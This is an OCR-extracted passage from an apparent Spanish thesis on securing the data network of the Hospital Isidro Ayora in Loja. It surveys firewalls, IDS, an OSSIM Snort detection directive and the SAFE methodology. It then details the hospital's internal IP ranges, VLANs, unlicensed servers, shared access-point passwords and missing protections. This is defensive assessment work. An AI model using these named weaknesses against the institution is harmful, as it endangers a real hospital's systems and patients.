de usuario y password, entre ellos se menciona:

— Spoofing-Looping: Spoofing puede traducirse como "hacerse pasar por otro" su
objetivo es actuar en nombre de otros usuarios. El proceso, llamado Looping tiene
la finalidad de "evaporar" la identificacién y la ubicacion del atacante. Muchos
ataques de este tipo comienzan con Ingenieria Social donde los usuarios por falta
de cultura o conocimiento facilitan a extrafios sus identificaciones dentro del

sistema usualmente través de una simple llamada telef6nica.*?

12 Ataques de Autenticacion, http://www.segu-info.com.ar/ataques/ataques_autenticacion.htm, [Fecha de consulta:

2011-07-06]
38



http://www.segu-info.com.ar/ataques/ataques_autenticacion.htm

Analisis y Disefno del Esquema de Seguridad de la red de datos del H.I.A.L.

2. CAPITULOIL. ESQUEMA DE SEGURIDAD
2.1. Definicién

Un esquema de seguridad es el conjunto de politicas de seguridad las cuales definen
los estados de sistemas autorizados, 0 seguros, en contraposicion a aquellos que no
lo son. Por ello es importante tener una politica de seguridad bien concebida y efectiva

que pueda proteger la inversion y los recursos de informacion de la Institucion.

2.2. Seguridad Perimetral

Consiste en la correcta implementacion de los equipos de seguridad que controlan y
protegen todo el trafico de entrada y salida entre todos los puntos de conexion o el
perimetro de la red a través de una correcta definicién de las politicas de seguridad y
una buena configuraciéon de los dispositivos de proteccion; su objetivo es proteger a
las redes de amenazas como: Hackers, ataques DoS, Malware, Spam, contenido
malicioso en correos y Paginas Web en diferentes medios y puntos de conexion o

perimetro de la red organizacional.

2.2.1. Firewall UTM

El firewall UTM es un sistema Unificado de Gestion de Amenazas, estan disefiados
para proporcionar una amplia gama de soluciones de seguridad en un (nico
dispositivo, reduciendo costos y simplificando todo el proceso de gestiéon de la

seguridad de sistemas, de informacion y de la instalacion.

Hay dos perspectivas bésicas o politicas de seguridad para un Firewall:

— Denegar todo de forma predeterminada y permitir que pasen paquetes
seleccionados de forma explicita.
— Aceptar todo de forma predeterminada y denegar que pasen paquetes

seleccionados de forma explicita.
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2.2.2. Zentyal

La distribucion GNU/Linux Zentyal conocido anteriormente como eBox, es una

plataforma de red unificada para las PYMEs.

Zentyal puede actuar gestionando la infraestructura de red, como puerta de enlace a
Internet (Gateway), gestionando las amenazas de seguridad (UTM), como servidor de
oficina, como servidor de comunicaciones unificadas o una combinacién de estas.
Ademds, Zentyal incluye un marco de desarrollo para nuevos servicios basados

en Unix.
2.3. Seguridad Interna

Los ataques a la seguridad pueden realizarse desde el interior de la red de la
institucion ya sea por los usuarios de la red o intrusos que suplanten la identidad de
los usuarios. Para prevenir estos ataques se pueden utilizar técnicas como la

compartamentalizacion y monitorizacion.
2.3.1. Compartamentalizacion

Los equipos de netoworking que disponen de la posibilidad de enrutamiento vy filtrado
el tréfico de red permiten la compartamentalizacion de la red local.

La compartamentalizacion se puede establecer considerando lo siguiente:

— Segmentar la red en dominios de broadcast mediante VLANs (Virtual LAN), que
son Utiles para reducir el tamafio del brodcast y ayudan en la administracion de la
red separando segmentos logicos de una red de area local que no deberian
intercambiar datos.

— Disefar politicas de acceso (ACLs) entre los segmentos de red creados, de forma
gue se pueda proteger el acceso a datos sensibles en la comunicacién, como la

administracién de los equipos de networking y acceso a sistemas de informacion.
2.3.2. Monitorizacion

La monitorizacién de una red suele ser uno de los procesos previos a un ataque. La
red puede ser monitorizada por sniffers instalados en algun sistema de la red, |

informacién obtenida sirve para explotar agujeros de seguridad u obtener contrasefias
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de usuarios de la red. Sin embargo la misma técnica de monitorizacion puede servir

para detectar y perseguir a los intrusos.
2.3.2.1. Sistema de Deteccion de Intrusos (IDS)*

Protege el sistema contra las amenazas de seguridad, sirve como complemento de
seguridad de los firewalls, es un sistema que intenta detectar y alertar sobre las

intrusiones en un sistema o en una red.

Flujo de bits

L

Sensor

Modelo

Datos formateados

Base de
Datos

Datos formateados Modelo

Generador del
modelo
adaptativo

llustracion 10. IDS — Exploracion en tiempo real.

Se menciona dos tipos de Sistemas de Deteccion de Intrusos:

— NIDS (Network Intrusion Detection System): Analiza el trafico de toda la red.
Examina paquetes en busqueda de opciones no permitidas y disefiadas para no
ser detectadas por los cortafuegos. Produce alertas cuando se intenta explorar
algun fallo de un programa de un servidor.

— HIDS (Host Intrusion Detection System): Analiza el trafico sobre un servidor o un
PC. Detecta intentos fallidos de acceso. Detecta modificaciones en archivos

criticos.

¥ DS, Sistema de Deteccion de Intrusos, PPT, www.uv.es/montanan/redes/trabajos/IDSs.ppt, [Fecha de consulta: 2011-07-18]
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Las Instituciones que incorporan tecnologia de redes, en donde todo es permisivo
deben considerar el uso de IDS para detectar el acceso no autorizado a sus sistemas
y controlar los riesgos a los que se exponen.

2.3.2.2. AlienVault

AlienVault Open Source SIEM (OSSIM) es un sistema de seguridad integral en cédigo
abierto que cubre desde la deteccidén hasta la generacion de métricas e informes a un

nivel ejecutivo.

Una vez los eventos generados por las diferentes herramientas y dispositivos han sido
recogidos por el sistema AlienVault, el sistema realiza una valoracion del riesgo para
cada evento y tiene lugar la correlacién. Durante el proceso de correlacion, a partir de
una serie de patrones, se generan nuevos eventos para detectar ataques o problemas

en nuestra red.

0SSIM

Cuadro de Mandos ’

A, Forense | Monitor Riesgos | l Monitor Uso |

. koB |

/T:-i-\ l Correlacién A ] ---------
EDB ¢ I Val. Riesgo | L ubs

| Priorizacion |

Colector/ Normalizadon |

A A &
Caonsobdador

4
-
ﬁ -,
lds 2 UNIX .—" Windows
= = -

llustracion 11. Funcionamiento de Alienvault.

Detectores:

Anom

Para acceder a toda la informacién recogida y generada por el sistema se hace uso de
una consola Web que ademas nos permitird configurar el sistema y ver el estado

global de nuestra red en tiempo real.

AlienVault se divide en tres programas principales: ossim-server, ossim-framework y
ossim-agent. Ademas utiliza una base de datos para almacenar los eventos y la

informacién necesaria para los plugins correspondientes a cada software o

E
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Ossim-server: Es el corazén de OSSIM, un demonio que se conecta con la base
de datos para obtener/ingresar datos desde los agentes y el framework. El
proposito principal de este programa es:

Recolectar datos de los agentes y otros servidores.
Priorizar los eventos recibidos.

Correlacionar los eventos recibidos de diferentes fuentes.
Realizar la evaluacion de riesgos y disparar alarmas.
Almacenar eventos en la base de datos.

Reenviar eventos o alarmas a otros servidores.

Ossim-framework: Es un demonio que accede tanto a la base de datos de
conocimiento del OSSIM, como a la BD de eventos. El propdsito principal de este

programa es:

Leer/escribir archivos del filesystem, evitando que el server web lo haga
directamente.

Ejecutar comandos externos.

Ejecutar en background tareas que requieran uso intensivo de CPU, para acelerar

la visualizacion y el andlisis.

Ossim-agent: Los agentes se encargan de recolectar todos los datos enviados por
los diferentes dispositivos conectados a la red, estandarizar estos datos para que
OSSIM pueda entenderlos, y luego enviarlos al servidor. Se instala en una

maquina que actuara de monitor en la red.

La base de la funcionalidad de AlienVault es la correlacion de eventos.

/7
0‘0

Correlacién

La correlacién, es el proceso por el cual se comprueba cada evento detectado en

busca de evidencias que determinen, con cierto grado de seguridad, la aparicién de

ataques evitando la mayor cantidad posible de falsos positivos. La correlacién se

puede dar entre eventos generados por un mismo sensor o varios relacionados, como

es el caso de snort y nesus. La correlacion es un proceso en el que se van evaluando
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condiciones hasta que estas llegan a un estado de riesgo, si se detectan varios

sucesos que puedan indicar una situacién peligrosa, entonces se lanza la alarma.

llustracion 12. Correlacion de eventos a través de AlienVault.

Una de las dificultades de la correlacién es el saber establecer correctamente politicas
que no den muchos falsos positivos y sobre todo que detecten las situaciones de
riesgo.

% Métodos utilizados en el proceso de correlacion

El proceso de correlacion se rige mediante tres métodos heterogéneos pero con un

mismo objetivo.

— Correlaciéon mediante secuencia de eventos (Correlacion lbégica): Se
implementa a través del panel de secuencias, en el cual se definen reglas que
representan arboles de nodos de condiciones l6gicas (secuencia de eventos). La
variable de fiabilidad crece segun el motor de correlacion avanza a través de los
nodos (eventos) cumpliéndose las condiciones de cada uno de ellos.

— Correlacion mediante algoritmos Heuristicos: Ossim implementa un algoritmo
heuristico de correlacion por acumulacion de eventos en un determinado tiempo.
En el cuadro de mando se mostrara el nivel acumulado de riesgo, que sera
sensible a la cantidad de riesgo acumulado en una ventana de tiempo, iréa
subiendo proporcionalmente segun la cantidad y la prioridad que tengan los
eventos recibidos, e irA bajando con el paso del tiempo en caso de no recibir
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nuevos eventos. Se dara maxima prioridad a los eventos definidos como “riesgo

instantaneo”.

+ Compromiso and Attack Level Monitor (CALM)

Es un algoritmo de valoracion por acumulacion de eventos con recuperacion en el
tiempo. La valoracion del riesgo se puede realizar tanto a una Unica maquina de la red,
como a un grupo de maquinas, e incluso a un segmento de la red que nos interese

monitorizar.
La valoracion se realiza dependiendo de dos variables:

Acumulacion de eventos: La acumulacion se realiza a través de la suma del riesgo

instantaneo de cada evento en dos variables de estado:

— El nivel de compromiso “C”. Mide la posibilidad de que una maquina se encuentre
comprometida, ofrece la evidencia de que ha habido un ataque y ha tenido éxito.

— El nivel de ataque “A”. Mide el posible riesgo debido a los ataques recibidos, ataque

gue podra o no tener éxito.

Acumulacion en el tiempo: El algoritmo CALM esta pensado para la monitorizacion
en tiempo real, tiene una memoria a corto plazo primando los eventos mas recientes y

caducando los més antiguos.

— Correlacién mediante inventariado: Los ataques recibidos tienen siempre como
objetivo un determinado “sistema operativo, servicio especifico, etc.”. Con el
inventario de la red podremos descartar falsos positivos a maquinas que no
cumplen dichas caracteristicas y priorizar las maquinas de mayor riesgo como los

servidores.**

«» Directivas

El motor de correlacion de Alienvault funciona por medio de directivas que se definen
utilizando XML. Al iniciar el motor de correlacion carga todas las directivas definidas en
un arbol de estructuras logicas de tipo “IF” y “OR”, que se relacionan entre si para

identificar ataques o comportamientos sospechosos en la red. Cuando una directiva

1 Analisis de la plataforma OSSIM, Diciembre 2008, http://riunet.upv.es/bitstream/handle/10251/13179/Tesina.pdf?sequence=1

[Fecha de consulta: 2011-11-10]
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genera una alarma lo que hace es crear un tipo especial de evento, que al igual que
cualquier otro caso debe de ser generado por algun plugin.

La etiqueta de inicio de toda directiva contiene dos atributos: un identificador (ID) que
consiste en un numero decimal Unico y una descripcion general de la directiva. A

continuacion se muestra un ejemplo de una regla establecida para snort:

<directive 1d="1" name="Successful Dcom exploit" priority=%“5%>
<rule type="detector" name="Snort dcom signature"
reliability="1" time out="60" occurrence="1" from="ANY" to="ANY"
port from="ANY" port to="135,445" plugin id="1001"
plugin sid="2192">

En donde:

— Prioridad: Si se tienen reglas anidadas, solo la primera debe tener una prioridad
asignada.

— Reliability: Es el nivel de confiabilidad de la regla y toma valores entre 0y 10.

— Time_out: Tiempo en segundos que debe pasar para que una regla expire.

— Occurrence: Define el nimero de veces que la regla se debe cumplir antes de
pasar a analizar la siguiente.

— From: Define la direccién IP origen de la regla. Se puede definir de varias maneras
distintas:

— To: Direccion IP destino del ataque. Se define de la misma forma que el campo
From.

— Port_from: Puerto origen de la regla

— Port_to: Define el puerto destino de la regla.

— Plugin_id: El identificador numérico asignado al Plugin del monitor o detector, en
este caso Snort.

— Plugin_sid. El subindice numérico asignado a cada evento, funcibn o

vulnerabilidad descubierta de acuerdo al Plugin en mencién.

2.4. Metodologia SAFE

SAFE-CISCO es una arquitectura modular que se fundamenta en estrategias y

consideraciones de disefio de seguridad, organizando toda la red de datos en
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moédulos.”® Esta arquitectura se compone de tres macro mddulos: Campus
Empresarial, Perimetro de la Empresa y Perimetro del ISP que constituyen la primera
capa de modularidad. La segunda capa de modularidad representa una vista de los
mddulos de cada area funcional ademas de requisitos de seguridad especificos.

CAMPO EMPRESARIAL CONTORNO DE LA EMPRESA CONTORNO DE SP

<A
Q Mbdulo E:Commerce
- S -

Mbdulo da Edficios Y
< | Madulo Intsrnet /

i I — ISPA
= (= = rom
s/ -
llc Moo VPN Remeto

Modubo de Distabucian d= Edficos. 8 PSTN

Module d Distibucicn

I Midulo WAN
_ @ — FramalATM

Module Cential o Core

llustracion 13. Segunda capa de modularidad de SAFE.

CAMPUS EMPRESARIAL

La empresa se compone de dos areas funcionales: las oficinas centrales y el contorno.
A su vez, ambas éareas estan divididas en areas que definen detalladamente las

distintas funciones de cada area.

‘0

» Modulo de Gestidn

El objetivo principal del médulo de gestion es facilitar la gestién segura de todos los

dispositivos y hosts de la arquitectura SAFE de la empresa.
% Modulo Central

El médulo central de la arquitectura SAFE es casi idéntico al de cualquier otra
arquitectura de red. Solamente enruta y conmuta el tréfico lo més réapidamente de una

red a otra.

© Extending the Security, Midsize and Remote-User Networks, PDF, Abril 2009,
http://www.cisco.com/warp/public/cc/curso/epso/safr/safes wp.pdf.2001, [Fecha de consulta: 2011-07-18]
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Los dispositivos principales del médulo Central son:
— Conmutacién de Capa 3: Enruta y conmuta datos de la red de producciéon de un

modulo a otro.

«» MOodulo de distribucién del edificio

El objetivo de este mddulo es proporcionar servicios de la capa de distribucion a los
switches del edificio, entre los que se incluyen el enrutamiento, la calidad de servicio
(Qo0S) y el control de accesos.

Los dispositivos principales del médulo de distribucion del edificio son:
— Switches de Capa 3: Agregan switches de Capa 2 al médulo del edificio y

proporcionan servicios avanzados.

<+ Modulo del edificio

SAFE define el médulo del edificio como la parte amplia de la red que contiene las
estaciones de trabajo de los usuarios finales, los teléfonos y sus puntos de acceso de

Capa 2 asociados.
Los dispositivos principales del modulo del edificio son:

— Switch de Capa 2: Proporciona servicios de Capa 2 a los teléfonos y a las
estaciones de trabajo de los usuarios.

— Estacién de trabajo de usuario: Proporciona servicios de datos a los usuarios
autorizados de la red.

— Teléfono IP: Proporciona servicios de telefonia por IP a los usuarios de la red.

X3

%

Moédulo de servidores

El objetivo principal del médulo de servidores es proporcionar servicios de aplicaciones

a los usuarios finales y a los dispositivos.
Los dispositivos principales del médulo de servidores son:

— Switch de Capa 3: Proporciona servicios de Capa 3 a los servidores e inspecciona

los datos que cruzan el modulo de servidores con NIDS.
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— Gestor de llamadas: Realiza funciones de enrutamiento de llamadas para los
dispositivos de telefonia por IP de la empresa.
— Servidores de la empresa y de los departamentos: Ofrece servicios de archivos,

impresién y DNS, servicios SMTP y POPS3 a los usuarios internos.

7

» Modulo de distribuciéon de contorno

El objetivo de este modulo es agregar la conectividad de los distintos elementos al
contorno. El trafico se filtra y se enruta desde los médulos de contorno al nucleo.

Los dispositivos principales del médulo de distribucion de contorno son:

— Switches de Capa 3: Agregan conectividad de contorno y proporcionan servicios

avanzados.
PERIMETRO O CONTORNO DE LA EMPRESA
% Mdbdulo de Internet Corporativo

El médulo de Internet Corportativo provee a los usuarios internos conectividad con los
servicios de Internet y a los usuarios de Internet acceso a la informacion de los
servidores publicos. Ademas, esta compuesta de dispositivos IDS que garantizan la

seguridad contra cualquier ataque realizado a este médulo.
s Moddulo VPN y Acceso Remoto

Provee de una conectividad segura a los usuarios de la EPN mediante la red de

telefonia publica.
% Modulo WAN

Este modulo brinda seguridad al final de la WAN. Usando encapsulacion Frame Relay,

el tréfico es ruteado entre sitios remotos y el sitio central.

7

» Mobdulo de Ecommerce
Este modulo esta orientado a hacer transacciones de comercio electronico.

La metodologia SAFE para medianas empresas es la seleccionada por el grupo de

investigacion porque se ajusta a las necesidades de la red de datos de la Institucion.
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E. MATERIALES Y METODOS

Con la finalidad de llevar un proceso investigativo eficiente y fructifero se utilizaron

algunos métodos y metodologias, las mismas que se mencionan a continuacion.

Los métodos utilizados son:

METODOS
s+ Método Cientifico

El método cientifico permiti6 buscar informacion en libros, internet, y entrevistas a
personas relacionadas, identificando los datos relevantes tanto para el andlisis como

para el planteamiento de soluciones.
% Observacion Directa

Para llevar a cabo la observacién de campo en las instalaciones de la institucion se

utilizé el método de la observacién directa.
< Observacion Indirecta

El método de observacion indirecta permiti6 obtener conocimiento basado en la
experiencia de varios conocedores de la materia de seguridad en redes, mediante

foros y entrevistas.
% Observacién por encuesta

La encuesta se utilizd con el fin de conocer lo que opinan los usuarios sobre el tema
en mencioén, considerando parametros como uso de recursos de red y conceptos de

seguridad.
< Entrevista

Permiti6 desarrollar un didlogo con el Administrador de la Unidad de Gestidn
Informéatica de la Institucién, con la finalidad de obtener la informacién de la
probleméatica actual, asi como de la administracién de la red de datos y seguridad de la

misma.
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<+ Método Sintético

El método sintético permitié reunir toda la informacién obtenida con la finalidad de

establecer las hipétesis que luego fueron probadas.
% Método Experimental

El método experimental consiste en provocar voluntariamente una situacién que se
quiere estudiar, es decir que modifica o alterna voluntariamente la realidad presente, el
cudl permitié realizar los test necesarios para determinar las vulnerabilidades y

problemas de la red.
% Método Analitico

El método analitico permiti6 observar las causas y los efectos de los problemas
encontrados, con el fin de establecer las teorias planteadas.

METODOLOGIAS

Las metodologias empleadas en el desarrollo del proyecto de tesis fueron:
% Metodologia OCTAVE
La metodologia OCTAVE disefiada para el andlisis y evaluacion de riesgos permitio:

— Estudiar el perfil actual de la red de datos del hospital
— Determinar los activos importantes a evaluar.
— Determinar los perfiles de amenaza para cada activo.

— Realizar la valoracion de riesgo y el plan de estrategias.

% Metodologia OSSTMM

La metodologia OSSTMM disefiada para la evaluacion de seguridad en redes de datos

permitio:

— Estructurar los procesos de evaluacion a utilizar en la red.
— Definir el alcance de la evaluacion, identificando la red y equipos a evaluar.
— Investigar los posibles ataques y vulnerabilidades a los que estan expuestos los

equipos de la red.
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— Investigar las herramientas necesarias para llevar a cabo los procesos de
evaluacion definidos.

— Realizar simulaciones de ataques a la red para determinar las vulnerabilidades de
la misma, utilizando la distribucion Backtrack con las herramientas de test
especificas para cada evaluacion.

— Analizar los resultados obtenidos de las evaluaciones realizadas.

% Metodologia SAFE

La metodologia SAFE permitié disefiar el esquema de seguridad para la red de datos
considerando los parametros de seguridad planteados y la distribucién adecuada de

los equipos de red disponibles.
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F. RESULTADOS

1. ANALISIS DE LA SITUACION ACTUAL
1.1. Antecedentes del Hospital Isidro Ayora

El Hospital Provincial General Isidro Ayora, esta ubicado en el area central de la
ciudad de Loja. La Institucion se encuentra en funcionamiento desde el 2 de agosto de

1979, brindando sus servicios ya 32 afios hasta la fecha.

El Hospital brinda el servicio de salud publica en cuatro especialidades de la medicina:
Cirugia General, Gineco-Obstetricia, Medicina Interna, Pediatria, tanto en servicios de

caracter ambulatorio como en hospitalizacion.

Cuenta con las unidades de Hemodialisis, Quemados y Cuidados Intensivos, ademas
de los servicios de consulta externa, emergencia, servicios de diagnéstico y

tratamiento, etc.
1.1.1. Estructura Organizativa

La Institucion no se encuentra dividida en areas departamentales, siendo el Ministerio
de Salud Publica el que determina las funciones de cada una de las areas del Hospital

agrupandolas en procesos y subprocesos.

El siguiente diagrama muestra la estructura organizacional proporcionada por el

Proceso de Servicios Institucionales del Hospital.
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HABILITANTES DE DESARROLLO

Y GESTION

DESARROLLO ORGANIZACIONAL
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GESTION DE EMERGENCIA

>

GESTION FINANCIERA

v
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ADMINISTRACION DE CAJA

GESTION
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>
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llustracion 14. Estructura Organizacional del Hospital Provincial Isidro Ayora.

Fuente: Servicios Institucionales H.I.A.L.
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La llustracion 15, muestra la cadena de valor de la Institucién, cuyo objetivo es brindar
servicios de salud, para lo cual requieren el apoyo de actividades principales como:

— Gestion Hospitalaria: Constituye la atencién al paciente en las diferentes areas
del hospital, apoyandose en el Sistema de Gestion Hospitalaria.

— Gestion Financiera: Involucra las actividades econdémicas de la Institucion,
apoyandose en sistemas de informacién como el Sistema de Recaudacion, para la
administracion de caja.

— Servicios Técnicos Complementarios: Comprende los servicios y personal de

mantenimiento que dan soporte a la infraestructura de la Institucion.

llustracion 15. Cadena de Valor de la Institucion.

Estas actividades se apoyan en el desarrollo de tecnologias, tanto de equipos de
atencion médica como de sistemas de informacion. Los componentes clave de la
cadena de valor son los recursos humanos que desarrollan las actividades y la
infraestructura de las tecnologias de informacion (TI), que comprende los servidores
de los sistemas de informacion, PCs de usuario y tecnologias de comunicacion, que
agregan valor al objetivo de la Institucion ya que son los medios e instrumentos de

comunicacion entre los distintos procesos.

1.2. Andlisis Preliminar

Para la obtencién de informacion sobre el estado actual, los usuarios y la utilizacion de

la red de datos del Hospital se aplicaron la técnica de la encuesta y entrevista.

La encuesta esta dirigida a los usuarios de los equipos de computo, aplicada a un
usuario por departamento, con el fin de conocer las medidas de seguridad en los
equipos y el nivel de explotacion de los recursos de la red, y de esta forma poder

determinar las politicas de seguridad necesarias. (Anexo B).
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La entrevista esta dirigida al Administrador de la UGI para determinar la existencia de
planes de contingencia, politicas de seguridad y mecanismos de proteccion para la
red. (Anexo C).

1.2.1. Interpretacién de resultados

La siguiente tabla resume los resultados obtenidos de las encuestas realizadas,

identificando los problemas criticos que constituyen una amenaza para la Institucion:

Problema Amenaza

— Falta de presupuesto para la seguridad informatica. Interrupcién en la

— Inexistencia de acuerdos de confidencialidad del | continuidad del servicio.
administrador de la red.

— Asignacion manual de direcciones IPs.

— No se realiza mantenimiento preventivo.

— Falta de backups de informacién

— Falta de politicas de acceso a los servicios de la red.

— Falta de control de acceso a contenido de internet.

— Falta de infraestructura de red

— Robo de equipos. Accesos no autorizados

— Usuarios con acceso al BIOS de los equipos.

— Contrasefias inseguras

— Ausencia de contrasefias

— Falta de control de acceso a las instalaciones del
centro de cémputo.

— Falta de politicas de seguridad.

— Perdida de informacién

— Falta de documentaciéon de la configuracion de los
equipos de red.

— Equipos de red no configurables.

— Uso de las mismas contrasefias para todos los
equipos de red (Access Point).

— Falta de politicas de seguridad de las claves de
acceso a la red inalambrica.

— Falta mantenimiento preventivo de software. Atagues mal intencionados

— Desconocimiento del uso de antivirus. (Malware)

— No se utiliza mecanismos de proteccion como
Firewall, proxy, autenticacion o deteccién de intrusos.

— Carece de e-mail corporativo.

— Falta de capacitacion en el manejo de los recursos | Errores mal intencionados o
de la red. por desconocimiento

Tabla 2. Resumen del resultado de las encuestas.
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La informacion recolectada mediante estas técnicas permite evidenciar los problemas
y amenazas que enfrenta actualmente la Institucion, manifestados por los usuarios
finales y administradores del centro de cOmputo que serian los principales afectados si
los recursos no estuvieran disponibles por alguna falla de seguridad.

1.2.2.Perfil actual de lared

La descripcién del perfil actual de la red se basa en la esquematizacion de la
informacion obtenida mediante la observacion directa en vista de que el administrador

no posee documentacion del disefio de red y de configuracion de los equipos.

1.2.2.1. Disefo actual de lared de datos

£

2

¢ INTERNET %
Router Acceso ‘ 10.104.32.53 ! Router ISP
Equipcs Médicos S8 :

Siemens
10.104.32.0/24

10.104.32.0/24

A"

Servidor SGH-

SGRHIA
Switch Cisco
=2
ERE

Servidor de 1y 104 33,0724
YozlP

Servidor de
Recaudacion

llustracion 16. Diagrama de Topologia de la red del Hospital.

Fuente: Autoras. Realizado en: Herramienta DIA.

La red esta conformada por equipos de networking tales como: un router
proporcionado por el ISP, switches de capa 2 y 3; y equipos terminales como
servidores, estaciones de trabajo y teléfonos de Volp. Ademéas de una WLAN que se

E

utiliza para la conexion a internet.
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1.2.2.2. Topologia de red

La red no cuenta con un modelo jerarquico de red que establezca el nucleo de los
equipos. La red del Hospital se encuentra distribuida mediante la topologia estrella,
utilizando cable UTP categoria 5, con 202 puntos de red de los cuales 106 son
destinados para datos y 96 para comunicacién de voz; adicionalmente se cuenta con
una distribucion de cableado UTP categoria 6 con 48 puntos de red en el area de

Neonatologia del Hospital.

1.2.2.3. Equipos de lainfraestructura de red

s Equipos y dispositivos de networking

A continuacion se describe los equipos y dispositivos de networking utilizados para la
administracion y comunicacion de la red; ademas se han considerado los equipos que
estan fuera de uso ya que seran de utilidad para el disefio del esquema de seguridad.
(Anexo E.1).

CANTIDAD EQUIPO MODELO Capa | Administrable
3 Switch Cisco 2900 Se XL 2 Sl
CATALYST 24 puertos
2 Switch 3Com 4500 2/3 Sl
26 puertos
1 Switch 3Com 4210 2 Sl
Inhabilitado 24 puertos
1 Router Cisco 3640 3 Sl
Inhabilitado
2 Access Point Linksys WAP54G 2 SI
1 Access Point D-LINK DIR 300 2 Sl
1 Switch D-LINK DES-10082 2 NO
1 Switch Advantek 2 NO

Tabla 3. Descripcién de los equipos y dispositivos de networking.

< Servidores

Los servidores instalados en el hospital corresponden a los sistemas de informacion y
el servicio de Volp. Cabe recalcar que los servidores con sistema operativo Windows
carecen de licencia, lo que se considera una vulnerabilidad ante la falta de soporte y

correcta actualizacion de los sistemas.
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CANTIDAD MODELO S. OPERATIVO LICENCIA
1 HP - DL 38DG5 Windows Server 2008 NO
1 IBM -5400 Windows Server 2000 NO
1 HP - ML 110G6 Centos 5.3 LIBRE

Tabla 4. Descripcion de servidores de la red.

« Estaciones de trabajo

Segun el inventario de activos, el Hospital cuenta con 135 computadores de escritorio
hébiles con tecnologias diferentes como: Pentium (D, Ill, 1V, Dual), Celeron, Dual Core,
Core 2 Duo, Core 2 Quad.

Esta informacion fue obtenida del inventario de la red proporcionado por el
administrador del centro de cémputo, las caracteristicas técnicas de los equipos se
describen en Anexo E.1.

% Impresoras Compartidas

En la red de datos se dispone de 4 impresoras compartidas identificadas con una
direccion IP que corresponden a la subred de equipos, las mismas que se encuentran
ubicadas en la Unidad de Gestion Informatica, Gestibn Financiera, Direccion y

Recursos Humanos respectivamente.

s Teléfonos de Volp

La red cuenta con 52 teléfonos IP marca ATCOM, distribuidos en las distintas

dependencias del hospital y que se asignan a la subred de voz.

1.2.2.4. Seguridad actual en la red

El centro de computo carece de una planificacion que contemple la documentacién
sobre el disefio de la red, politicas de seguridad, asi como de la configuracion de los

equipos administrables de la red.
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1.2.2.4.1. Red Cableada

% VLANSs

La red del hospital actualmente se encuentra segmentada a través de VLANSs para la
transmision de voz y datos, sin considerar pardmetros de seguridad, como ACLs para
acceso Intravlan. En la segmentacion se considera una VLAN para establecer
comunicacion con la Direccion Provincial de Salud (D.P.S.) y las Areas de Salud de

Loja (AREAL1), la cual no se esta utilizando actualmente.

Este esquema ha sido planteado por el administrador de la red para la implementacion

del servicio de Volp del hospital.

La Tabla 5 muestra el esquema de configuracion de VLANs del Switch 1 y Switch2

propuesto por el administrador de la red.

Dispositivo Asignacion Red Mascara
VLAN 1: Equipos 10.104.32.0 255.255.255.0
Switch 3Com1 VLAN 10: Voz 10.104.33.0 255.255.255.0
VLAN 20: Enlaces 10.104.35.0 255.255.255.252
VLAN 1: Equipos 10.104.36.0 255.255.255.0
Switch 3Com2 VLAN 10: Voz 10.104.37.0 255.255.255.0
VLAN 20: Enlaces 10.104.35.2 255.255.255.252

Tabla 5. Segmentacion de la red mediante VLANS.

Fuente: Administrador del Centro de Computo.

Es importante mencionar que los teléfonos conectados al Switch 3Com2 corresponden
alared 10.104.33.0, no existen equipos en los segmentos de red correspondientes a

las VLANSs del Switch2.

En la siguiente ilustracion se muestra la implementacién de VLANSs en la red.
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llustracion 17. Diagrama de Topologia de VLANSs.

Fuente: Autoras. Realizado en: Herramienta DIA.

La red del Hospital se encuentra distribuida en dos subredes de voz y datos, la VLAN1
constituye la subred de datos, cabe mencionar que esta VLAN viene creada por
defecto en cualquier conmutador que soporte esta tecnologia y es asignada a todos
los puertos del switch. El trafico de control se asocia siempre con la VLAN 1, ademas
se utiliza como VLAN nativa de un enlace troncal (enlace entre dos switch que
comunica todas las VLANs admitidas), es decir el puerto de enlace troncal coloca la
VLAN nativa en aguellas tramas que viajan sin etiqueta por la red. La VLAN 1 tiene
funciones especificas en la red por lo que no se debe considerar para un grupo de

usuarios.

Como se puede observar en el disefio de segmentacion de VLANsS no se considera
ningun criterio de seguridad que establezca politicas para permitir o denegar el acceso
entre VLANs y principalmente a los servidores. Ademas el esquema no contempla

estandares de disefio que cumpla con los requerimientos del hospital.
1.2.2.4.2. Red Inaldmbrica

Existe una red inalambrica conformada por un Access point D-Link ubicado en la
oficina de Direccién, este dispositivo implementa seguridad WPA2-PSK bajo el
estdndar 802.11g. Este mecanismo de seguridad es utilizado actualmente por las

nuevas tecnologias en dispositivos Wireless, sin embargo es necesario evaluar el nivel

E
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La descripcion del perfil actual de la red ha permitido identificar algunas amenazas a
las que esta expuesta y el riesgo que implican para la Institucion. En base a esta
informacion se realizara un andlisis e identificacibn de riesgos de los principales

recursos de la red y el desarrollo de estrategias de proteccion.

1.3. Analisis de riesgos y seguridad con OCTAVE y OSSTMM

La metodologia OCTAVE ha permitido desarrollar el andlisis de riesgos, a través de la
identificacion de los activos de la infraestructura de red, sus amenazas y el desarrollo
del proceso de evaluacion de vulnerabilidades en la infraestructura tecnoldgica

mediante la metodologia OSSTMM.

La llustracibn 18 muestra los procesos que se realizardn en base a estas dos
metodologias. Se han omitido los procesos 1y 2 de la metodologia OCTAVE debido a
que la informacion de los activos es proporcionada por el personal del centro de

cémputo, lo cual corresponde al proceso 3 de la metodologia. (Anexo D)

Las secciones de la metodologia OSSTMM seleccionadas no incluyen aquellas para
las que no se posee informacién de entrada, considerando los modulos y pruebas
necesarias para la evaluacién de los componentes clave de la red. Ademas se ha

considerado adaptar las pruebas a la infraestructura de red del hospital. (Anexo E)

FASEI
CONSTRUIR PERFILES PROCESO 1 PROCESO 2
DE AMENAZAS BASADAS b Identificacion de #  Perfiles de amenaza de
EN ACTIVOS activos sesunidad de los activos
PROCESO 4 PROCESO 3 DENTIFIC AR L0S PUNTOS
Evaluacion de “ Identificacion de - VULNERAELES
Componentes Clave Componentes Clave ENLA
INFRAESTRUCTURA
Seguridad en las Semumndad en las Seguridad Segundad
Tecnologias de Internet Comunicaciones Inalimbrica — Fizica
w
FASE I
PROCESO 6 PROCESO 5 DESARROLLO DE
Dezamrollo de estrategias {« Analisiz de Riesgoz | PLANES Y ESTRATEGIAS
de proteccion DE SEGURIDAD

llustracion 18. Diagrama de procesos seleccionados OCTAVE y OSSTMM.
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Las secciones de la metodologia OSSTMM se han unificado como parte del proceso

4, ya que estas constituyen las pruebas de seguridad sobre los componentes clave.

A continuacion se describen las tareas correspondientes a cada seccion:

1.

o

X3

%

N

X3

%

/7
0‘0

Seguridad en las Tecnologias de Internet

Sondeo de red

Definicion del rango de direcciones IP privadas

Definicion del rango de direcciones IP publicas

Informacion del ISP

